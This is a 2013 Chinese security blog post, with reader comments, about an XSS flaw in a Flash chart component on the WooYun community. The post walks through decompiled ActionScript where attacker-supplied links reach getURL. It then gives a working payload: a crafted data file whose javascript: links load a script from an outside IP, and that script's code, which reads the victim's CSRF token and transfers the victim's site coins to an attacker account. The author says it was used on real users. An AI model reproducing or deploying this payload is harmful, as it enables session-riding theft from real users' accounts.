闲扯下午引爆乌云社区“盗窃”乌云币事件

心伤的胖子 2013-07-30 21:56:00

起因


请各位看官看这里:http://zone.wooyun.org/content/4997

斗胆分析下漏洞细节,在http://www.showmycode.com/上面反编译该 flash 代码。

搜索,配置文件是通过 data 参数传入进去的,搜索 _root.data,找到如下代码:

var lv = new LoadVars();
lv.onLoad = LoadVarsOnLoad;
lv.make_chart = make_chart;
lv.make_pie = make_pie;
if (_root.data == undefined) {
    if (_root.variables == undefined) {
        _root.data = "C:\\Users\\John\\Documents\\flash\\svn\\data-files\\data-47.txt";
        lv.load(_root.data);
    } else {
        _root.LoadVarsOnLoad = LoadVarsOnLoad;
        _root.LoadVarsOnLoad(true);
    }
} else {
    lv.load(_root.data);
}

通过 LoadVars 载入的,LoadVars 载入的数据是以 & 符号分割的,载入完成调用 LoadVarsOnLoad 函数。跟进去看代码

function LoadVarsOnLoad(success) {
    if (!success) {
        _root.loading.done();
        _root.oops(_root.data);
        return(undefined);
    }
    if (_root.oops != undefined) {
        removeMovieClip("oops");
    }
    for (i in _root) {
        if (typeof(_root[i]) == "movieclip") {
            removeMovieClip(_root[i]);
        }
        delete i;
    }
    _root.css = new Css("margin-top: 30;margin-right: 40;");
    NumberFormat.getInstance(this);
    NumberFormat.getInstanceY2(this);
    _root._background = new Background(this);
    if (this.pie != undefined) {
        this.make_pie();
    } else {
        this.make_chart();
    }
    if (this.tool_tip != undefined) {
        _root.tool_tip_wrapper = this.tool_tip.replace("#comma#", ",");
    }
    _root.loading.done();
    _root.move();
}

看下面,如果外部数据中有 pie ,就调用 this.make_pie()。

if (this.pie != undefined) {
        this.make_pie();
}

搜索 make_pie 这个函数看代码,有如下,调用了 new PieStyle(this, "pie");

function make_pie() {
    _root._pie = new PieStyle(this, "pie");
    _root._title = new Title(this);
}

继续跟进去,在这个类中的初始化函数最开始有 links = lv.links.split(","); ,lv.links 从外部传入通过 split 后放入 links ,最后调用了 set_values(_local6),继续看 set_values 函数,有如下代码:

function set_values(v) {
    super.set_values(v);
    pie_mcs = new Array(values.length);
    var _local4 = 0;
    while (_local4 < values.length) {
        var _local5 = _root.createEmptyMovieClip((name + "_") + _local4, _root.getNextHighestDepth());
        _local5.onRollOver = function () {
            ChartUtil.FadeIn(this, true);
        };
        _local5.onRollOut = function () {
            ChartUtil.FadeOut(this);
        };
        if (links.length > _local4) {
            _local5._ofc_link = links[_local4];
            _local5.onRelease = function () {
                trace(this._ofc_link);
                getURL (this._ofc_link);
            };
        }
        var _local6 = {x_label:labels[_local4], value:values[_local4], key:"??"};
        _local5.tooltip = _local6;
        pie_mcs[_local4] = _local5;
        _local4++;
    }
    valPos();
}

这个函数是关键,遍历 links,然后放入 getURL 中,因为 getURL 这里是可以执行 js 代码的。

利用


既然可以 xss,那就可以绕过 token 机制,对 wooyun 的业务进行操作了,先来看下如何构造远程数据。看如下代码:

&title=腾讯高危漏洞一览表(点击类别可以查看详情),{font-size:18px; color: #d01f3c}&
&x_axis_steps=1&
&y_ticks=50,50&
&line=2,#87421F&
&y_min=0&
&y_max=20&
&pie=60,#E4F0DB,{display:none;},1,,1&
&values=50,50&
&pie_labels=远程命令执行,腾讯客户端溢出&
&colours=#d01f3c,#356aa0&
&links=javascript:window.s=document.createElement('script');window.s.src='http://42.96.150.181/data.js';document.body.appendChild(window.s);,javascript:window.s=document.createElement('script');window.s.src='http://42.96.150.181/data.js';document.body.appendChild(window.s);&
&tool_tip=类别%3A+%23x_label%23%3Cbr%3E比例%3A+%23val%23%25&

起了个很响亮的标题明“腾讯高危漏洞一览表(点击类别可以查看详情)”,让看到的很很有欲望点击中间的圆圈圈有木有,链接写成

javascript:window.s=document.createElement('script');window.s.src='http://42.96.150.181/data.js';document.body.appendChild(window.s);

加载我们的 js 文件。

js 文件的代码如下:

/*
 * ajax
 */
ajax = function(url, params, callback) {
    (params instanceof Function) && (callback = params, params = void(0));
    var XHR = (window.XDomainRequest) || window.XMLHttpRequest || (function() {
        return new ActiveXObject('MSXML2.XMLHTTP')
    });
    var xhr = new XHR();
    xhr.open(params ? 'post' : 'get', url);
    xhr.withCredentials = true;
    try {
        params && xhr.setRequestHeader('content-type', 'application/x-www-form-urlencoded');
    } catch (e) {}
    callback && (xhr.onreadystatechange = function() {
        (this.readyState == 4 && ((this.status >= 200 && this.status <= 300) || this.status == 304)) && callback.apply(
this, arguments);
    });
    xhr.send(params);
};

ajax("http://www.wooyun.org/user.php?action=update", function(){
    var token = this.responseText.match(/token" value=\"(.+?)\"/)[1]
    ajax("http://www.wooyun.org/user.php?action=coin&do=action_submit", "token=" + token + "&to_whitehat=xsser&to_coin=
1");
})

借用 sogili xss.js 中的 ajax 代码,先获取当前用户的 token,然后再进行转账操作。

效果


来找个实战的地方,发到 wooyun,见这里:http://zone.wooyun.org/content/5548

后续


其实我没想到这么多人中招的,本来抱着娱乐的目的玩玩的,看来好多人情绪很高涨,在这里先对各位抱个歉。

评论

I

insight-labs 2013-07-30 22:30:42

谁淫荡啊你淫荡……

路人甲 2013-07-30 22:33:05

哥已经把收到的wb全送你了,要还钱的人请找洞主。

M

mango 2013-07-30 22:37:43

还我WB

W

wefgod 2013-07-30 22:46:29

太狠了

小胖子 2013-07-30 22:48:50

牛逼!

冉冉升起 2013-07-30 22:54:52

虽然我看不懂代码,留着以后看!

淡漠天空 2013-07-30 23:07:58

js token 支持下

园长 2013-07-30 23:13:28

把肉肉的WB吞了,哈哈。

小色 2013-07-30 23:31:14

mark

Z

z7y 2013-07-30 23:43:29

VIP这死家伙,难怪老是找我要token!!!

J

juuxdd 2013-07-31 00:14:22

m

B

bboy 2013-07-31 04:37:00

小伙子你摊上事了,你摊上大事了.等着FUCK吧.

B

bboy 2013-07-31 04:51:52

V

VIP 2013-07-31 07:54:39

while(1){}把你的wb转光

齐迹 2013-07-31 07:56:18

token应该存httponly的cookie

V

VIP 2013-07-31 08:04:47

那正常的操作怎么读取呢?

C

charles 2013-07-31 10:47:26

丢WB的都可以联系你了。~

O

Ocean 2013-07-31 15:42:29

还我WB!

H

hijack 2013-07-31 18:36:55

还好我来晚了 哈哈, 猥琐啊

熊猫 2013-08-01 18:00:55

0.0

心伤的胖子 2013-09-17 23:55:07

http://42.96.150.181/

小贱人 2014-05-21 15:16:08

mark

心伤的胖子

因为心伤,所以胖子。

twitter weibo github wechat

随机分类

事件分析 文章:223 篇
运维安全 文章:62 篇
Android 文章:89 篇
XSS 文章:34 篇
浏览器安全 文章:36 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录